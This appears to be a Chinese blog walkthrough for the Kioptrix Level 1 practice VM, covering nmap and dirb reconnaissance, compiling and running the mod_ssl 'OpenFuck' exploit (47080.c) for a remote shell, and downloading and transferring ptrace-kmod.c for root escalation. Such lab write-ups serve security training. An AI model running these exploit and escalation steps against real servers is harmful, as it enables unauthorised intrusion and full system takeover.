当前位置: 首页 > news >正文

Kioptrix Level 1通关攻略

目录

修改靶机Kioptrix:Level 1 的网络模式

探测靶机IP地址

得到端口信息

扫描TCP端口

扫描UDP端口

脚本扫描

指纹探测

漏洞探测

 目录枚举扫描

发现利用脚本

 执行exp链接shell


修改靶机Kioptrix:Level 1 的网络模式

Kioptrix: Level 1靶机的默认网络模式是桥接,在某些情况下,你希望将其修改为NAT模式,解决步骤如下:

  • 关闭Kioptrix: Level 1 VM 并在VMWARE中移除网络适配器。
  • 从 VMware 中移除 VM(注意并不是从磁盘删除)
  • 浏览到 Kioptrix: Level 1 VMVM 的 VMX 文件的位置并用文本编辑器中开它。
  • 删除所有以“ethernet0“开头的条目并保存更改。
  • 然后重新导入虚拟机,并将增加网络设备器,并且其模式为NAT

探测靶机IP地址

arp-scan是一个用于扫描本地网络的ARP(地址解析协议)扫描工具。

arp-scan -l

使用这个命令探测当前局域网下所有的IP地址。

再启动靶机,使用arp-scan工具再次探测一遍,多出的IP地址就是靶机的IP地址。 

由此我们可以确定,这个192.168.159.136就是靶机的IP地址。

mkdir bc
cd bc
mkdir kiop1
cd kiop1
export ip=192.168.159.136

将ip地址存储下放在指定的位置,方便后续使用。 

打开浏览器,访问IP地址看一下

得到端口信息

nmap是网络映射器(Network Mapper)的缩写,是一个开源的网络扫描工具,用于网络发现和安全审计。

扫描TCP端口

nmap -sT --min-rate 1000 -p- $ip -oA port 

查看port文件打印的信息: 

# Nmap 7.94SVN scan initiated Fri Dec  6 00:29:40 2024 as: /usr/lib/nmap/nmap -sT --min-rate 10000 -p- -oA port 192.168.159.136
Nmap scan report for 192.168.159.136
Host is up (0.0026s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
443/tcp  open  https
1024/tcp open  kdm
MAC Address: 00:0C:29:5B:9D:F0 (VMware)

# Nmap done at Fri Dec  6 00:29:45 2024 -- 1 IP address (1 host up) scanned in 5.33 seconds

扫描UDP端口

nmap -sU --top-ports 20 $ip -oA udp

查看udp文件打印的信息: 

# Nmap 7.94SVN scan initiated Fri Dec  6 00:42:21 2024 as: /usr/lib/nmap/nmap -sU --top-ports 20 -oA udp 192.168.159.136
Nmap scan report for 192.168.159.136
Host is up (0.0012s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   open|filtered msrpc
137/udp   open          netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:5B:9D:F0 (VMware)

# Nmap done at Fri Dec  6 00:42:28 2024 -- 1 IP address (1 host up) scanned in 7.49 seconds

脚本扫描

从上面我们可以获得开放端口:

TCP:22,80,111,139,443,1024

UDP:135,137,138,161,162,514,4500,49152

我们可以对这些端口进行脚本扫描,进行信息收集

nmap --script=vuln -p 22,80,111,139,443,1024,135,137,138,161,162,514,4500,49152 $ip -oA vuln

--script=vuln:告诉 Nmap 运行安全漏洞检测相关的脚本。这些脚本是 Nmap 脚本引擎(NSE)的一部分,可以自动检测目标主机上的已知安全漏洞

指纹探测

 对端口进行指纹探测,我们nmap探测的都是端口的默认服务(不一定它的端口就是使用的默认服务)

nmap $ip -p 22,80,111,139,443,1024 -sV -sC -O --version-all

-p 22,80,111,139,443,1024:指定了要扫描的端口号,涵盖常见服务对应的端口,像SSH、HTTP等服务端口。

-sV:探测端口上服务的具体版本。

-sC:运行默认脚本扫描,检测相关安全情况等。

-O:探测目标主机运行的操作系统类型。

--version-all:对所有检测到的服务进行版本检测,而不仅是那些 nmap 默认会进行检测的服务。

PORT  STATE   SERVICE        VERSION

22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)

80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl

111/tcp  open  rpcbind     2 (RPC #100000)

139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) 

漏洞探测

利用nmap进行漏洞探测

nmap 192.168.162.129 -p 22,80,111,139,443,1024  --script=vuln

 目录枚举扫描

dirb http://192.168.159.136/

进行目录枚举扫描,查看敏感目录

http://192.168.159.136/~operator                        
http://192.168.159.136/~root                                 
http://192.168.159.136/cgi-bin/                                
http://192.168.159.136/index.html (CODE:200|SIZE:2890)                                
==> DIRECTORY: http://192.168.159.136/manual/                                           
==> DIRECTORY: http://192.168.159.136/mrtg/                                             
==> DIRECTORY: http://192.168.159.136/usage/         

依次访问打开,网页中没有什么有效信息可以收集,但是有一个子目录中的文件变相提示注意mod_ssl漏洞

发现利用脚本

searchsploit mod_ssl

 利用工具查找相关漏洞和exp信息

因为kail下载会有损坏,我们直接在windows物理机上下载

下载exp脚本icon-default.png?t=O83Ahttps://www.exploit-db.com/ 

 通过之前的信息收集,选择第一个文件下载,将下载的文件拖入kail中。

编译

gcc -o 470 47080.c

因为是c,exp要编译,使用gcc编译:文件 -o命名为 470文件  要编译的文件 47080.c

执行

gcc -o 470 47080.c -lcrypto

-lcrypto这个需要换源下载 下载命令 sudo apt-get install libssl-dev

./470 | grep "1.3.20"

 执行了./470 | grep "1.3.20"命令,先是运行当前目录下的470文件(其功能未知),再通过grep工具筛选出包含 “1.3.20” 的输出行,展示的结果是不同操作系统环境下使用apache-1.3.20版本的相关配置情况,各系统以编号加对应描述形式呈现

我们执行0x6a或0x6b,因为我们上面收集到了系统为RedHat Linux。

 执行exp链接shell

./470 0x6a 192.168.159.136 -c 40

失败,我们接着尝试0x6b

./470 0x6b 192.168.159.136 -c 40

 

可以看到,成功了。我们根据上面的脚本下载地址下载提权脚本

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

如果提示SSL证书的问题提权失败,将https改为http 

wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

下载成功之后重新运行 470 脚本,重新连接靶机。

kail 开启80端口检测

sudo python -m http.server 80


在低权限账户,上传下载提权脚本。注意这里的ip地址输入的是自己虚拟机的ip地址,目的是从虚拟机里上传到靶机中,使用 ip a 查看自己的虚拟机IP地址。

wget http://192.168.159.135:80/ptrace-kmod.c

 ls 查看,发现文件已经上传成功

exit退出,再次链接

sudo ./470 0x6b 192.168.159.136 443 -c 40

发现已经能够访问到它的root目录,成功。 

因为执行时变相编译了完整版的c脚本,当然也可以在用户中执行编译再执行
 

相关文章:

Kioptrix Level 1通关攻略

目录 修改靶机Kioptrix:Level 1 的网络模式 探测靶机IP地址 得到端口信息 扫描TCP端口 扫描UDP端口 脚本扫描 指纹探测 漏洞探测 目录枚举扫描 发现利用脚本 执行exp链接shell 修改靶机Kioptrix:Level 1 的网络模式 Kioptrix: Level 1靶机的默认网络模式是桥接&#x…...

01 下载opencv并配置vs开发环境

01 下载opencv并配置vs开发环境 01 下载windows版本的opencv 下载地址:点击 ​​ WIndows版本的是编译好的代码。 当然国外网站下载很慢,可以通过我分享的网盘链接下载 opencv-4.10.0-windows.exe https://www.alipan.com/s/wV7z4YsmXgN 点击链接保…...

Ubuntu22.04 docker如何发布镜像(和用git差不多)

在dockerhub上创建远程仓库:https://hub.docker.com/ 将本地镜像打tag,并修改成可以上传到 dockerhub 的形式 # 查看本地镜像# 修改镜像 ## docker tag 镜像名称:标签 新的镜像名称(要和远程仓库dockerhub上的一致):新的标签pus…...

【Golang】——Gin 框架中的模板渲染详解

Gin 框架支持动态网页开发,能够通过模板渲染结合数据生成动态页面。在这篇文章中,我们将一步步学习如何在 Gin 框架中配置模板、渲染动态数据,并结合静态资源文件创建一个功能完整的动态网站。 文章目录 1. 什么是模板渲染? 1.1 概…...

React的局限性是什么?

性能: 虚拟 DOM 虽然提高了渲染性能,但在某些情况下可能会造成性能瓶颈,尤其是在处理大量数据或复杂更新时。对于非UI任务(如计算密集型操作),React 本身并不擅长。 学习曲线: 对于初学者来说&a…...

【Vulkan入门】09-CreateFrameBuffer

目录 先叨叨git信息关键代码VulkanEnv::FindHostVisitbaleMemoryTypeIndex()TestPipeLine::CreateFramebuffers() 与网上大多数文章不同,其他文章基本上都使用窗口框架(X11、GLFW、WSL等)提供的surface来显示Vulkan渲染出的图像。我认为那样会…...

罗技键鼠更换新台式机无蓝牙通过接收器安装

优联驱动下载: http://support.logitech.com.cn/zh_cn/software/unifying (下载安装后按照步骤一步步操作,匹配后即可使用) 向京东客服反馈后提供的驱动下载安装连接 有问题欢迎评论沟通~...

深入了解Modbus TCP协议:介绍、原理解析与应用示例

深入了解Modbus TCP协议:介绍、原理解析与应用示例 在工业自动化领域,设备之间的通信与数据交换至关重要。Modbus协议作为一种经典的通信协议,因其简单、开放和易于实现的特点,被广泛应用于各种工业设备之间的数据传输。而Modbus…...

vue2 项目中实现动态代理,服务器上通过nginx部署 实现动态代理

一、前言&&原理 前言:vue2 项目中,请求接口是从表格的当前获取的,也就是接口ip:端口号:路经不确定,要实现点击表格当前行请求对应的接口 实现原理:将实际要请求的ip等信息存在请求头中,用的时候再…...

OpenGL 几何着色器高级应用

几何着色器高级应用 概念回顾 几何着色器(Geometry Shader)是 OpenGL 管线中的可选着色器阶段,位于顶点着色器(Vertex Shader) 和光栅化阶段 之间。 其核心功能是基于输入的图元(如点、线或三角形),生成新的图元,或对输入的图元进行修改。 几何着色器的执行是以图元…...

QT JSON文件解析

参考博客 https://blog.csdn.net/cpp_learner/article/details/118421096 1 打开文件&#xff0c;读取全部内容 QFile file("../Json/js.json"); if (!file.open(QFile::ReadOnly | QFile::Text)) {qDebug() << "cant open error!";return; }// 读…...

c++中string字符串与其他类型的转换

一、string 转换成其他类型 1、转换为整数 使用std::stoi&#xff08;适用于int&#xff09;、std::stol&#xff08;适用于long&#xff09;、std::stoll&#xff08;适用于long long&#xff09;、std::stoul&#xff08;适用于unsigned long&#xff09;和std::stoull&…...

aws(学习笔记第十七课) SQS Amazon Simple Queue Service服务

aws(学习笔记第十七课) SQS Amazon Simple Queue Service服务 学习内容&#xff1a; 使用SQS Amazon Simple Queue Service服务整体代码&#xff08;nodejs的通常工程&#xff09;代码动作 1. 使用SQS Amazon Simple Queue Service服务 利用应用程序来学习SQS 创建S3$ aws s…...

【FAQ】HarmonyOS SDK 闭源开放能力 —Push Kit(8)

1.问题描述&#xff1a; 在AGC中&#xff0c;推送服务的消息回执新建成功后&#xff0c;有一个有效期 1&#xff0c;这个有效期是什么意思&#xff0c;过期后&#xff0c;会影响什么呢&#xff1f; 2&#xff0c;这个有效期是否可以修改成一直不过期&#xff1f; 解决方案&…...

mysql 的 binlog 原理

binlog的作用:binlog的三种格式Statement-Based Replication (SBR)&#xff1a;Row-Based Replication (RBR)&#xff1a;Mixed-Based Replication (MBR)&#xff1a; 总结&#xff1a;如何选择:如何配置binlog? binlog的作用: 数据恢复: 如果mysql的数据丢失了,又没有备份数…...

Android显示系统(10)- SurfaceFlinger内部结构

一、前言: 之前讲述了native层如何使用SurfaceFlinger,我们只是看到了简单的API调用,从本文开始,我们逐步进行SurfaceFlinger内部结构的分析。话不多说,莱茨狗~ 二、类图: 2.1、总体架构: 先看下SurfaceFlinger的关键成员和我们BootAnimation侧关键成员如何对应起来…...

独家首发 | 基于多级注意力机制的并行预测模型

往期精彩内容&#xff1a; 时序预测&#xff1a;LSTM、ARIMA、Holt-Winters、SARIMA模型的分析与比较 全是干货 | 数据集、学习资料、建模资源分享&#xff01; EMD变体分解效果最好算法——CEEMDAN&#xff08;五&#xff09;-CSDN博客 拒绝信息泄露&#xff01;VMD滚动分…...

Burp suite2 (泷羽sec)

声明 学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章。 笔记只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 这节课旨在扩大自己在网络安全方面的知识面&#xff0c;了解网络安全领域的见闻&#xff0c;了…...

npm或yarn包配置地址源

三种方法 1.配置.npmrc 文件 在更目录新增.npmrc文件 然后写入需要访问的包的地址 2.直接yarn.lock文件里面修改地址 简单粗暴 3.yarn install 的时候添加参数 设置包的仓库地址 yarn config set registry https://registry.yarnpkg.com 安装&#xff1a;yarn install 注意…...

Referer头部在网站反爬虫技术中的运用

网站数据的安全性和完整性至关重要。爬虫技术&#xff0c;虽然在数据收集和分析中发挥着重要作用&#xff0c;但也给网站管理员带来了挑战。为了保护网站数据不被恶意爬取&#xff0c;反爬虫技术应运而生。本文将探讨HTTP头部中的Referer字段在反爬虫技术中的应用&#xff0c;并…...

Next.js授权管理教程:深入掌握Session管理

更多有关Next.js教程&#xff0c;请查阅&#xff1a; 【目录】Next.js 独立开发系列教程-CSDN博客 目录 引言 1. Session管理的基本概念 1.1 什么是Session管理&#xff1f; 1.2 Session与Cookie 1.3 使用Session的优点 2. 在Next.js中管理Session 2.1 使用cookie存储Se…...

Python+OpenCV系列:滤波器的魔力

滤波器是图像处理领域中不可或缺的工具。无论是去除噪声、锐化图像还是提取特征&#xff0c;滤波器都扮演着重要角色。本篇将从简单到复杂&#xff0c;带你快速掌握 PythonOpenCV 中的滤波器使用技巧。 什么是滤波器&#xff1f; 滤波器是一种对图像像素值进行计算、平滑或增强…...

代码随想录算法训练营day41|动态规划买卖股票问题

今天的三题买卖股票问题&#xff0c;实际上解题方法都大同小异&#xff0c;思路也和昨天的树形dp有相似之处&#xff0c;都是用一个dp数组的不同下标来记录不同的状态。其中第一题是只买卖一次&#xff0c;可以用贪心的方法&#xff0c;找出左边的最小值和右边的最大值&#xf…...

【EthIf目录】EthIf的文件结构

ls -R 查看目录EthIf的文件结构&#xff0c;包含四个目录&#xff0c; 一个make file文件&#xff0c;具体如下所示&#xff1a;...

Spring 面试题整理

文章目录 一、控制反转 IoC什么是 Bean 和 Spring Bean&#xff1f;依赖注入的常见方式&#xff1f;Bean 的作用域有哪些&#xff1f;protype bean 里面的依赖是 singleton bean 的话&#xff0c;IoC 容器会怎么处理&#xff1f;Bean 的生命周期&#xff1f;Resource 和 Autowi…...

Converting circular structure to JSON

最近在项目中遇到了这个问题&#xff0c;头疼&#xff0c;弄了一下午才解决。做一个笔记吧。 1 Converting circular structure to JSON 我这个问题大致就是在使用pinia中出现了循环引用&#xff0c;意思是两个或多个模块、对象或依赖之间形成了相互依赖的链条。在使用 Pinia…...

webstorm开发uniapp(从安装到项目运行)

1、下载uniapp插件 下载连接&#xff1a;Uniapp Tool - IntelliJ IDEs Plugin | Marketplace &#xff08;结合自己的webstorm版本下载&#xff0c;不然解析不了&#xff09; 将下载到的zip文件防在webstorm安装路径下&#xff0c;本文的地址为&#xff1a; 2、安装uniapp插…...

企业级包管理器之搭建 npm 私有服务器 (6)

在企业级应用开发中&#xff0c;常常需要处理私有包的发布和管理。搭建 npm 私有服务器是一个理想的解决方案&#xff0c;它不仅能保证代码的私密性&#xff0c;还能提供更快的下载速度和更精细的权限设置。 一、搭建 npm 私有服务器的优势 保证代码私密性&#xff1a;在企业…...

会议通知:人工智能通识教育与实践发展暨和鲸科技AI通识课解决方案发布会

今年秋季学期起&#xff0c;全国多所高校面向本科生开设人工智能通识课。 当前人工智能通识课程的建设进展主要分为三种情况&#xff1a; 全市统筹&#xff0c;由某头部高校牵头建设市级人工智能通识课&#xff0c;以北京市、天津市为代表&#xff1b; 已于秋季学期按照课程…...

windows C#-自动实现属性的轻型类

此示例演示如何创建一个不可变的轻型类&#xff0c;该类仅用于封装一组自动实现的属性。 当你必须使用引用类型语义时&#xff0c;请使用此种构造而不是结构。 可通过以下方法来实现不可变的属性&#xff1a; 仅声明 get 访问器&#xff0c;使属性除了能在该类型的构造函数中…...

汽车零部件设计之——发动机曲轴预应力模态分析仿真APP

汽车零部件是汽车工业的基石&#xff0c;是构成车辆的基础元素。一辆汽车通常由上万件零部件组成&#xff0c;包括发动机系统、传动系统、制动系统、电子控制系统等&#xff0c;它们共同确保了汽车的安全、可靠性及高效运行。在汽车产业快速发展的今天&#xff0c;汽车零部件需…...

C#基础:结构

目录 1. C# 程序结构 示例&#xff1a; 2. 变量和数据类型 示例&#xff1a; 3. 控制结构 条件语句&#xff08;if&#xff09;&#xff1a; 循环语句&#xff08;for 和 while&#xff09;&#xff1a; 4. 函数定义和调用 示例&#xff1a; 5. 数组和集合 数组示例…...

[免费]SpringBoot+Vue疫苗接种预约管理系统【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的SpringBootVue疫苗接种预约管理系统&#xff0c;分享下哈。 项目介绍 如今的时代&#xff0c;是有史以来最好的时代&#xff0c;随着计算机的发展到现在的移动终端的发展&#xff0c;国内目前信息技术已经在…...

C++50道经典面试题

文章结尾有最新热度的文章,感兴趣的可以去看看。 本文是经过严格查阅相关权威文献和资料,形成的专业的可靠的内容。全文数据都有据可依,可回溯。特别申明:数据和资料已获得授权。本文内容,不涉及任何偏颇观点,用中立态度客观事实描述事情本身 导读 作为一种通用且面向对…...

iptables详解

华子目录 什么是防火墙分类netfilter&#xff08;数据包过滤&#xff09;定义netfilter分析内容 防火墙无法完成的任务netfilter策略管理工具netfilter的5类hook函数防火墙规则策略匹配原则iptablesiptables流量处理动作iptables表5种规则表 安装iptablesiptables策略文件 ipta…...

静态链表的构建

前言&#xff1a; 静态链表的概述&#xff1a; 静态链表是一种在数组中模拟链表结构的数据结构&#xff0c;它通过数组的索引来模拟指针&#xff0c;实现节点之间的链接&#xff0c;就不需要使用指针了。每个节点由两部分组成&#xff1a;数据域和游标。数据域用于储存数据&a…...

python3中的身份运算符

一. 简介 本文简单学习一下&#xff0c;python3中的身份运算符。 在Python 3中&#xff0c;身份运算符用于比较两个对象的身份&#xff0c;即它们是否引用内存中的同一个对象。 二. python3 中的身份运算符 1. python3 中的身份运算符 python3 中的身份运算符如下表所示&a…...

Java泛型设计详解

引言 在日常Java开发中&#xff0c;泛型是一个非常重要的特性。它提供了编译时的类型安全检查&#xff0c;增强了代码的可读性和可维护性。然而&#xff0c;对于初学者甚至一些有经验的开发者来说&#xff0c;泛型的使用和理解仍然是一个挑战。本文旨在深入探讨Java泛型的诞生…...

第十九章程序清单合集——Java语言程序设计进阶篇(黑皮书)

目录 程序清单19_1GenericStack 程序清单19_2GenericMethodDemo 程序清单19_3BoundedTypeDemo 程序清单19_4GenericSort 程序清单19_5Max 程序清单19_6MaxUsingGenericType 程序清单19_7wildCardNeedDemo 程序清单19_8AnyWildCardDemo 程序清单19_9SuperWildChardDem…...

el-table组件树形数据修改展开箭头

<style lang"scss" scoped> ::v-deep .el-table__expand-icon .el-icon-arrow-right:before {content: ">"; // 箭头样式font-size: 16px; }::v-deep .el-table__expand-icon{ // 没有展开的状态background-color: rgba(241, 242, 245, 1);color:…...

LabVIEW前面板无法显示的常见原因

当 LabVIEW 前面板显示为白色或黑色时&#xff0c;可能由于控件可视性设置、显卡驱动问题、程序错误或 LabVIEW 设置不当引起。通过检查面板设置、更新驱动、重启程序等方式可有效解决此问题。 遇到前面板无法显示或显示为白色/黑色的情况&#xff0c;可能有以下几种原因。可以…...

PyQt事件机制练习

一、思维导图 二、代码 import sysfrom PyQt6.QtTextToSpeech import QTextToSpeech from PyQt6.QtWidgets import QApplication, QWidget, QLabel, QPushButton, QLineEdit from PyQt6 import uic from PyQt6.QtCore import Qt, QTimerEvent, QTimeclass MyWidget(QWidget):d…...

Android 中,Activity Fragment:如何进行界面跳转、数据传递等

学习笔记 1. Activity 之间的界面跳转和数据传递 在 Android 中&#xff0c;Activity 之间的跳转通常通过 Intent 来完成。Intent 可以携带数据&#xff0c;并传递给目标 Activity&#xff0c;也可以从目标 Activity 返回数据。 从一个 Activity 跳转到另一个 Activity // 在…...

【ubuntu18.04】安装easycwmp出现/usr/bin/ld: cannot find -lubus问题解决方案

错误日志 rootw1804-virtual-machine:/opt/dev/easycwmp# make Making all in bin make[1]: Entering directory /opt/dev/easycwmp/bin gcc -DPACKAGE_NAME\"easycwmpd\" -DPACKAGE_TARNAME\"easycwmpd\" -DPACKAGE_VERSION\"1.8.6\" -DPACKAG…...

可视化建模以及UML期末复习----做题篇

一、单项选择题。&#xff08;20小题&#xff0c;每小题2分,共40分&#xff09; 1、UML图不包括&#xff08; &#xff09; A、用例图 B、状态机图 C、流程图 D、类图 E、通信图 答案&#xff1a;C、流程图 UML中不包括传统意义上的流程图&#xff0c;流程图通常是指B…...

【2024年浙江工商大学程序设计竞赛新生赛(同步赛)部分题解】

比赛链接 C. 交换 题目大意 给定一个长度为 n n n 的数组 a a a。一开始你有一个总和 s 0 s 0 s0。 现在你需要做 n n n 次操作&#xff0c;第 i i i 次操作的流程如下&#xff08; 1 ⩽ i ⩽ n 1 \leqslant i \leqslant n 1⩽i⩽n)&#xff1a; 选择一个下标 p ∈…...

[SAP ABAP] DEBUG ABAP程序中的循环语句

在ABAP程序开发中可能会遇到要DEBUG循环语句的情况&#xff0c;这个循环语句可能会执行上万次&#xff0c;但我们希望程序执行循环到100次就停下来&#xff0c;也就是希望DEBUG断点设置在循环语句的第100次停下来观察执行的结果&#xff0c;这时我们可以在DEBUG程序时通过设置一…...

解决阿里云轻量级服务器 Ubuntu 24.04.1 LTS 没网也 ping 不通 8.8.8.8 以及 route -n 没有输出任何转发信息

事情发生在两天前&#xff0c;位于公网的阿里云轻量级服务器&#xff08;Ubuntu 24.04.1 LTS&#xff09;忽然没网。主要是上次上服务器进行配置已经是一个多月前&#xff0c;最近也没有做什么事情&#xff0c;就忽然没网了&#xff0c;让人纳闷。更主要的是&#xff0c;上次备…...

AUTOSAR:SOME/IP 概念

文章目录 1. 用例与需求1.1 典型用例1.2 对中间件的要求 2. 协议栈示例3. SOME/IP 概念3.1 中间件整体功能与架构3.2 服务组成元素详细解释 4. 服务发现机制深入剖析5. 总结 1. 用例与需求 1.1 典型用例 信息娱乐系统&#xff1a; 后座娱乐系统连接&#xff1a;允许后排乘客连…...

STM32--中断

中断 中断向量表 定义一段固定的内存&#xff0c;以4字节对齐&#xff0c;存放各个中断服务函数程序的首地址。定义在启动文件中。 中断相关寄存器 内核中断不经过中断使能、除能寄存器。 中断优先级 1、抢占优先级&#xff1a;高高抢占优先级可以打断正在执行的低抢占优先…...